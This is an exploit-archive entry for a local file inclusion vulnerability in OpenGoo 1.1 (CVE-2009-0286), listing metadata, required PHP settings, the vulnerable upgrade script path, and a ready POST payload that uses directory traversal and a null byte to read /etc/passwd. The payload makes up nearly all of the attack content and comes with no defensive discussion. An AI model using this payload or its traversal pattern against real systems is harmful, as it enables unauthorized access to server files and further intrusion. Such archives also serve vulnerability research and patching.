OpenGoo 1.1 - Local File Inclusion

Author: fuzion
type: webapps
platform: php
port: 
date_added: 2009-01-24 
date_updated: 2017-01-23 
verified: 1 
codes: OSVDB-51635;CVE-2009-0286 
tags: 
aliases:  
screenshot_url:  
application_url: 

OpenGoo 1.1 Local File Inclusion
http://www.opengoo.org/

magic_quotes_gpc = Off
register_globals = On

http://site/opengoo/public/upgrade/index.php
POST: form_data[script_class]=/../../../../../../../../../../../etc/passwd%00.html

Author Notified: Jan. 18

http://nukeit.org

# milw0rm.com [2009-01-25]